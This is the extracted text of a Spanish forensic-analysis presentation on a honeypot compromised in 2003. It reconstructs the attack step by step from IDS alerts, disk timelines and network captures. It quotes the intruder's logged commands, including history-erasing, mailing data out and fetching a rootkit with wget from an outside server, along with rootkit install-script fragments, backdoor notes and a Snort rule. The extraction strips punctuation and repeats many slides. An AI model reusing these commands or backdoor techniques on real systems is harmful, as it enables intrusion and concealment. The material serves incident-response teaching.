[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-101934191136 1921681532774 -gt 10227825TCP TTL64 TOS0x0 ID16590 IpLen20 DgmLen60 DFS Seq 0x2EE98728 Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26200038 0 NOP WS 0

page 2017062004

Prueba 9Destinatario del correo

Conclusioacuten El fichero de log muestra el destinatario del mensajeFuente varlogmaillog

Jul 16 100944 charlie Sendmail[7393] h6G89cPq007391to=ltsome_addressyahoocomgt ctladdr=ltrootcharliedummynetgt (00)delay=000005 xdelay=000005 mailer=esmtp pri=30318relay=mailyahoocom [102278] dsn=200 stat=Sent (ok dirdel)

page 2117062004

Prueba 10Contenido del mensaje

Conclusioacuten Este era el contenido del mensaje (fichero borrado)Fuente Autopsy + The Sleuth Kit

samba

page 2217062004

Prueba 11Creacioacuten de un nuevo usuario ldquogo----rdquo

Conclusioacuten (4m 17s) El intruso creoacute un nuevo usuario llamado ldquogo----rdquoFuente varlogsecure

Jul 16 101359 charlie adduser[7401] new user name=go---- uid=501gid=10 home=etcgo---- shell=binbash

page 2317062004

Prueba 12Ejecucioacuten del comando ldquopasswdrdquo

Conclusioacuten (11s) El intruso establecioacute la contrasentildea del nuevo usuarioFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101410 15368 a - usrbinpasswd211 a - etcpamdpasswd

Wed Jul 16 2003 101417 1024 a - usrlibcracklib_dicthwmWed Jul 16 2003 101418 42116 a - usrlibcracklib_dictpwi

828567 a - usrlibcracklib_dictpwdWed Jul 16 2003 101446 1113 mc - etcshadow

page 2417062004

Prueba 13Ejecucioacuten del comando ldquowgetrdquo

Conclusioacuten (14s) El intruso realizoacute una conexioacuten a un servidor de InternetFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101500 193278 a - usrbinwget4022 a - etcwgetrc7338 a - usrsharesslopensslcnf

page 2517062004

Prueba 14Alerta del IDS por la conexioacuten de ldquowgetrdquo

Conclusioacuten El IDS detectoacute la direccioacuten IP y el puerto (web) del servidorFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-102456065879 1921681532775 -gt 104413880TCP TTL64 TOS0x0 ID37369 IpLen20 DgmLen60 DFS Seq 0x436ED85E Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26364327 0 NOP WS 0

page 2617062004

Prueba 15Instalacioacuten del rootkit ldquoshv4rdquo

bull 1m 22s despueacutes el intruso lanzoacute la instalacioacuten (ldquosetupshrdquo) del rootkit ldquoshv4rdquo

ndash Varios comandos de sistema fueron sustituidos por troyanos que ocultariacutean la presencia del intruso

ndash Un demonio SSH con una puerta trasera fue lanzado con el nombre ldquoxntpsrdquo escuchando en el puerto 20000

ndash Un agente de denegacioacuten de servicio distribuida (DDOS) fueinstalado con el nombre ldquottymonrdquo y fue ejecutado

ndash Un sniffer fue instalado aunque no ejecutado

Conclusioacuten El intruso instaloacute el rootkit ldquoshv4rdquoFuente Autopsy + The Sleuth Kit

page 2717062004

Prueba 16Script de instalacioacuten del rootkit ldquoshv4rdquo

Conclusioacuten Se recuperoacute el rootkit completo y se analizoacute en detalleFuente Autopsy + The Sleuth Kit

1 binbash2 3 shkit-v4-internal release 2002[]12 setup pass port13 14 SSHD backdoor ssh -l root -p port hostname15 when prompted for password enter your rootkit password16 login backdoor DISPLAY=pass export DISPLAY telnet victim17 type anything at login and type arf for pass and b00m r00t[]39 lets unzip our shit now40 tar xfz bintgz41 tar xfz conftgz[]

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 11: Demostracion Hacking Honeypot y Análisis Forense

page 1117062004

Anaacutelisis forense

page 1217062004

Prueba 1Fecha de instalacioacuten del Honeypot

Conclusioacuten El honeypot se instaloacute los diacuteas 5 y 6 de julio de 2003Fuente RPM

[rootholmes dir2] rpm -q --qf installtimedatetnamen --root mntsdb1 --all | sort | head -5

Sat 05 Jul 2003 085412 PM CEST Sendmail-cfSat 05 Jul 2003 091858 PM CEST glibc-commonSat 05 Jul 2003 091859 PM CEST basesystemSat 05 Jul 2003 091859 PM CEST file systemSat 05 Jul 2003 091859 PM CEST gnome-mime-data[rootholmes root] rpm -q --qf installtimedatetnamen --root mntsdb1 --all | sort | tail -5

Sat 05 Jul 2003 093319 PM CEST screenSat 05 Jul 2003 093320 PM CEST xdeltaSat 05 Jul 2003 093349 PM CEST compsSun 06 Jul 2003 102454 AM CEST ncSun 06 Jul 2003 102611 AM CEST tripwire[rootholmes dir2]

page 1317062004

Prueba 2Honeypot apagado del 6 al 15 de julio

Conclusioacuten El honeypot estuvo apagado del 6 al 15 de julioFuente Autopsy + The Sleuth Kit timeline

Sun Jul 06 2003 125748 0 mac - varrunshutdownpid (deleted)0 mac - etcmailsendmailmcswp

(deleted)0 mac - lthoneypotsdb1dd-dead-51072gt

Sun Jul 06 2003 1257494096 mc d varrunconsole0 mac - varrunconsolelock (deleted)45 mac - homedavidbash_history24 a - rootbash_logout0 mac - lthoneypotsdb1dd-dead-51069gt

Tue Jul 15 2003 195705 42 a l libmodules2418-14pcmciaaha152x_cso -gt kerneldriversscsipcmciaaha152x_cso

41 a l libmodules2418-14pcmciawavelan_cso -gt kerneldriversnetpcmciawavelan_cso

page 1417062004

Prueba 3Primera alerta del IDS (x18 en 3 seg)

Conclusioacuten Intento de acceso remoto al honeypot (buffer overflow de SAMBA)Fuente Snort

[] [121034] NETBIOS SMB trans2open buffer overflow attempt [][Classification Attempted Administrator Privilege Gain] [Priority 1]0716-101928694888 101112942468 -gt 19216815139TCP TTL46 TOS0x0 ID30439 IpLen20 DgmLen1500 DFA Seq 0x59D7D6CF Ack 0x2EEEBAAF Win 0x16D0 TcpLen 32TCP Options (3) =gt NOP NOP TS 375824640 26197405[Xref =gt httpwwwdigitaldefensenetlabsadvisoriesDDI-1013txt][Xref =gt httpcvemitreorgcgi-bincvenamecginame=CAN-2003-0201]

page 1517062004

Prueba 4Nueva alerta del IDS ldquoid returned rootrdquo

Conclusioacuten (1s) El intruso comproboacute que era ldquorootrdquo en el sistemaFuente Snort

[] [14984] ATTACK-RESPONSES id check returned root [][Classification Potentially Bad Traffic] [Priority 2]0716-101932690898 1921681545295 -gt 101112942504TCP TTL64 TOS0x0 ID15658 IpLen20 DgmLen174 DFAP Seq 0x2ED6F968 Ack 0x596F6E90 Win 0x16A0 TcpLen 32TCP Options (3) =gt NOP NOP TS 26199287 375825045

page 1617062004

Prueba 5Alerta ldquoid returned rootrdquo La regla del IDS

Conclusioacuten La alerta la provocoacute un paquete conteniendo ldquouid=0(root)rdquoFuente Snort

SID 498Message ATTACK-RESPONSES id check returned root

Signature alert ip any any -gt any any (msgATTACK-RESPONSES id check returned root content uid=0(root) classtypebad-unknown sid498 rev4)

SummaryThis event is generated by the use of a UNIX id command This may be indicative of post-compromise behavior where the attacker is checking for super user privileges gained by a sucessful exploit against a vulnerable system

page 1717062004

Prueba 6Alerta ldquoid returned rootrdquo El paquete

Conclusioacuten El intruso ejecutoacute los comandos ldquouname ndashardquo e ldquoidrdquoFuente Snort

[rootholmes dir2] tcpdump -nn -r tcpdumplog1058291995 -X port 42504101932690898 1921681545295 gt 101112942504 P 785840488785840610(122) ack1500475024 win 5792 ltnopnoptimestamp 26199287 375825045gt (DF)0x0000 4500 00ae 3d2a 4000 4006 77ec XXXX XXXX E=w0x0010 XXXX XXXX XXXX XXXX 2ed6 f968 596f 6e90 shYon0x0020 8018 16a0 56a7 0000 0101 080a 018f c4f7 V0x0030 1666 a295 4c69 6e75 7820 6368 6172 6c69 fLinuxcharli0x0040 6520 322e 342e 3138 2d31 3420 2331 2057 e2418-141W0x0050 6564 2053 6570 2034 2031 333a 3335 3a35 edSep4133550x0060 3020 4544 5420 3230 3032 2069 3638 3620 0EDT2002i6860x0070 6936 3836 2069 3338 3620 474e 552f 4c69 i686i386GNULi0x0080 6e75 780a 7569 643d 3028 726f 6f74 2920 nuxuid=0(root)0x0090 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root)grou0x00a0 7073 3d39 3928 6e6f 626f 6479 290a ps=99(nobody)[rootholmes dir2]

page 1817062004

Prueba 7Ejecucioacuten del comando ldquomailrdquo

Conclusioacuten (2s) El intruso envioacute un mensaje de correo electroacutenicoFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 100937 112 a - etcmailrc754801 a - usrsbinsendmailsendmail83905 a - binmail4770 mc - varlogsambasmbdlog

page 1917062004

Prueba 8Alerta del IDS por el enviacuteo del correo

Conclusioacuten El IDS detectoacute la direccioacuten destino de la conexioacuten SMTPFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-101934191136 1921681532774 -gt 10227825TCP TTL64 TOS0x0 ID16590 IpLen20 DgmLen60 DFS Seq 0x2EE98728 Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26200038 0 NOP WS 0

page 2017062004

Prueba 9Destinatario del correo

Conclusioacuten El fichero de log muestra el destinatario del mensajeFuente varlogmaillog

Jul 16 100944 charlie Sendmail[7393] h6G89cPq007391to=ltsome_addressyahoocomgt ctladdr=ltrootcharliedummynetgt (00)delay=000005 xdelay=000005 mailer=esmtp pri=30318relay=mailyahoocom [102278] dsn=200 stat=Sent (ok dirdel)

page 2117062004

Prueba 10Contenido del mensaje

Conclusioacuten Este era el contenido del mensaje (fichero borrado)Fuente Autopsy + The Sleuth Kit

samba

page 2217062004

Prueba 11Creacioacuten de un nuevo usuario ldquogo----rdquo

Conclusioacuten (4m 17s) El intruso creoacute un nuevo usuario llamado ldquogo----rdquoFuente varlogsecure

Jul 16 101359 charlie adduser[7401] new user name=go---- uid=501gid=10 home=etcgo---- shell=binbash

page 2317062004

Prueba 12Ejecucioacuten del comando ldquopasswdrdquo

Conclusioacuten (11s) El intruso establecioacute la contrasentildea del nuevo usuarioFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101410 15368 a - usrbinpasswd211 a - etcpamdpasswd

Wed Jul 16 2003 101417 1024 a - usrlibcracklib_dicthwmWed Jul 16 2003 101418 42116 a - usrlibcracklib_dictpwi

828567 a - usrlibcracklib_dictpwdWed Jul 16 2003 101446 1113 mc - etcshadow

page 2417062004

Prueba 13Ejecucioacuten del comando ldquowgetrdquo

Conclusioacuten (14s) El intruso realizoacute una conexioacuten a un servidor de InternetFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101500 193278 a - usrbinwget4022 a - etcwgetrc7338 a - usrsharesslopensslcnf

page 2517062004

Prueba 14Alerta del IDS por la conexioacuten de ldquowgetrdquo

Conclusioacuten El IDS detectoacute la direccioacuten IP y el puerto (web) del servidorFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-102456065879 1921681532775 -gt 104413880TCP TTL64 TOS0x0 ID37369 IpLen20 DgmLen60 DFS Seq 0x436ED85E Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26364327 0 NOP WS 0

page 2617062004

Prueba 15Instalacioacuten del rootkit ldquoshv4rdquo

bull 1m 22s despueacutes el intruso lanzoacute la instalacioacuten (ldquosetupshrdquo) del rootkit ldquoshv4rdquo

ndash Varios comandos de sistema fueron sustituidos por troyanos que ocultariacutean la presencia del intruso

ndash Un demonio SSH con una puerta trasera fue lanzado con el nombre ldquoxntpsrdquo escuchando en el puerto 20000

ndash Un agente de denegacioacuten de servicio distribuida (DDOS) fueinstalado con el nombre ldquottymonrdquo y fue ejecutado

ndash Un sniffer fue instalado aunque no ejecutado

Conclusioacuten El intruso instaloacute el rootkit ldquoshv4rdquoFuente Autopsy + The Sleuth Kit

page 2717062004

Prueba 16Script de instalacioacuten del rootkit ldquoshv4rdquo

Conclusioacuten Se recuperoacute el rootkit completo y se analizoacute en detalleFuente Autopsy + The Sleuth Kit

1 binbash2 3 shkit-v4-internal release 2002[]12 setup pass port13 14 SSHD backdoor ssh -l root -p port hostname15 when prompted for password enter your rootkit password16 login backdoor DISPLAY=pass export DISPLAY telnet victim17 type anything at login and type arf for pass and b00m r00t[]39 lets unzip our shit now40 tar xfz bintgz41 tar xfz conftgz[]

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

